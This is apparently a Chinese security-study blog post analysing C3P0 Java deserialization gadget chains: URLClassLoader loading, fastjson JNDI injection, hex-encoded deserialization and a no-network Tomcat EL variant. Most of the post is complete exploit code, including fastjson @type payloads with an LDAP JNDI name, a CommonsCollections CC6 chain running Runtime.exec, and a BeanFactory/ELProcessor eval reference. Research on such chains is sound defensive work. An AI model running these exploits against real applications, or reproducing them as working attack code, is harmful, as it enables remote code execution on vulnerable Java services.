前言:
仍然是基础!!!
C3P0概述:
在看到标题之前大部分人可能都不知道C3P0是什么东西,但实际上他就是一个开源的JDBC连接池,主要实现的就是数据源和JNDI绑定,目前比较知名的使用他的有Spring和Hibernate等
那可能又有人问JDBC是什么?
JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库~
那什么是jdbc连接池,在开发情况中,我们可能会频繁的操作数据库,而这就相当于会频繁的创建或销毁句柄,这样就会增大资源的消耗。而连接池就是我们提前写好一些句柄,使用的时候拿出来用,不用的时候放到连接池中,准备下次使用~
C3P0 反序列化漏洞
环境:
jdk8u65
pom.xml:

C3P0 常见的利用方式
- URLClassLoader远程类加载
- JNDI注入
- 以及利用HEX序列化字节加载器进行反序列化攻击(之前从未听说过)
URLClassLoader远程类加载:


PoolBackedDataSourceBase.readObject想要进到getObject中必须要满足传入的类是IndirectlySerialized 这个类

进行完这个判断之后调用getObject方法的类从原本的PoolBackedDataSourceBase变成了ConnectionPoolDataSource

但是跟进去发现这是一个接口,没有继承Serializable

那这里就没办法了,所以我们去看一下PoolBackedDataSourceBase的writeObject(也就是序列化),发现他在检测到无法反序列化的时候,会用indirector封装一层

这里我们如果直接跟indirectForm,会发现什么都没有,仔细看一下代码我们可以发现代码中的indirector是ReferenceIndirector

所以我们先跟到ReferenceIndirector中搜索indirectForm看一下,发现会返回一个ReferenceSerialized像是继承了反序列化的
但是跟进去看一下会发现他是一个构造函数,但他继承了IndirectlySerialized,发现他继承了serializable
至此,流程就走完了,看似我们的外表是ConnectionPoolDataSource,但实际上已经是ReferenceSerialized(就是indirectForm return的那个类)
所以其实整个流程还是较为简单的,下面放一下完整的exp
C3P0 之 JNDI 注入
在上面的分析中不知道有没有人注意到一个lookup的方法,看到这个方法第一时间想到的肯定是jndi注入,而这个方法就是在ReferenceIndirector.getObject()里面
但是我们发现虽然有这个函数,但是contextName似乎无法控制,跟进去发现他是一个内部类的属性值,这就很难修改了,所以这其实是一条假的jndi注入哈哈,就是给看看坑
真正的jndi注入链是基于fastjson的,可以算是fastjson中的链吧

这里我们可以从漏洞发现者的思维去寻找,先全局搜一下jndi,点开第一个类JndiRefForwardingDataSource中的dereference方法

然后全局搜一下lookup,在112行和114行发现了一个lookup且参数名是jndiname,那肯定要去看一看这个jndiname能不能想办法控制

跟进去看一下发现jndiName 是由 this.getJndiName() 获得的

所以再看一下getJndiName方法,发现这个方法他判断若jndiname是name类型,就返回((Name) jndiName).clone(),若不是就返回String

回去看一下dereference,发现他刚好允许我们传入String参数
那这时候链子的尾部就已经构造好了,只要向上找能利用的就行

同类中的inner函数调用了该方法,所以再找inner的向上调用

这里发现很多setter/gettter方法,看到这里其实就已经满足fastjson的利用条件了

找一个最简单的只需要传入一整数就可以的JndiRefForwardingDataSource中的setLoginTimeout方法
最终exp:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; // JndiRefForwardingDataSource 类的直接 EXP 调用 public class JndiForwardingDataSourceEXP { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
|
其实这里还能继续向上找,因为这个JndiRefForwardingDataSource是一个default类,相对于public类的利用面会小一点,就是在JndiRefConnectionPoolDataSource 当中,大家可以去尝试一下,和上一个相差无几
1 2 3 4 5 6 7
| public class JndiRefConnectionPoolDataSourceEXP { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
|
C3P0 之 hexbase 攻击利用
这种攻击方法成立的e原因就是有一个WrapperConnectionPoolDataSource 类,他能反序列化一串十六进制字符串
链子的头部在WrapperConnectionPoolDataSource类中的构造函数

看构造函数发现在给userOverrides赋值的时候会调用C3P0ImplUtils.parseUserOverridesAsString()方法

跟进去看看发现,他将hex字符串读进来之后,首先把把字符串头部的HASM_HEADER截掉了,以及会截掉字符串最后一位
继续看,发现把转码后的结果保存到serbytes这个字节流当中,然后又对字节流执行SerializableUtils.fromByteArray()方法

跟到fromByteArray函数中看一下,发现他调用了SerializableUtils#deserializeFromByteArray

跟进去发现反序列化操作—-readobject
所以这个很简单,直接用以前的cc链作为主要攻击链即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| package hexBase; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class HexBaseFastjsonEXP { //CC6的利用链 public static Map CC6() throws NoSuchFieldException, IllegalAccessException { //使用InvokeTransformer包装一下 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("key"); // 在 put 之后通过反射修改值 Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); return expMap; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex); //Fastjson<1.2.47 String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}" + "}"; JSON.parse(payload); } }
|
C3P0链子不出网利用
上面的urlclassloader加载远程类和jndi注入都需要目标机器出网,虽然说hexbase攻击方法可以不出网,但是前面分析的parseUserOverridesAsString所传入的参数是一个get方法,所以使用fastjson会方便很多,也就导致了对fastjson的版本有要求
在之前学习jndi注入的时候我们讨论过高版本利用就是可以加载本地的factory类进行工作,但是有要求就是该工厂类至少存在一个getObjectInstance()方法,比如说可以加载tomcat8中的org.apache.naming.factory.BeanFactory来进行EL表达式注入
导入依赖:
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency>
|
接下来就是要选一条可以不出网利用的且限制较少的链子,其实之前的urlclassloader的链子就可以利用,只需要给之前的exp修改一下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| package NoNetUsing; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class NoAccessEXP { public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } //序列化 public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { //反射修改connectionPoolDataSource属性值 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c); //序列化流写入文件 FileOutputStream fos = new FileOutputStream(new File("ser.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase); } //反序列化 public static void unserialize() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("ser.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); } public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Loader_Ref loader_ref = new Loader_Ref(); serialize(loader_ref); unserialize(); } }
|
总结:
实战环境中c3p0的包(com.mchange.c3p0)是除cc和cb以外最多的jar包,一部分是被org.quartz-scheduler:quartz 依赖所带进来的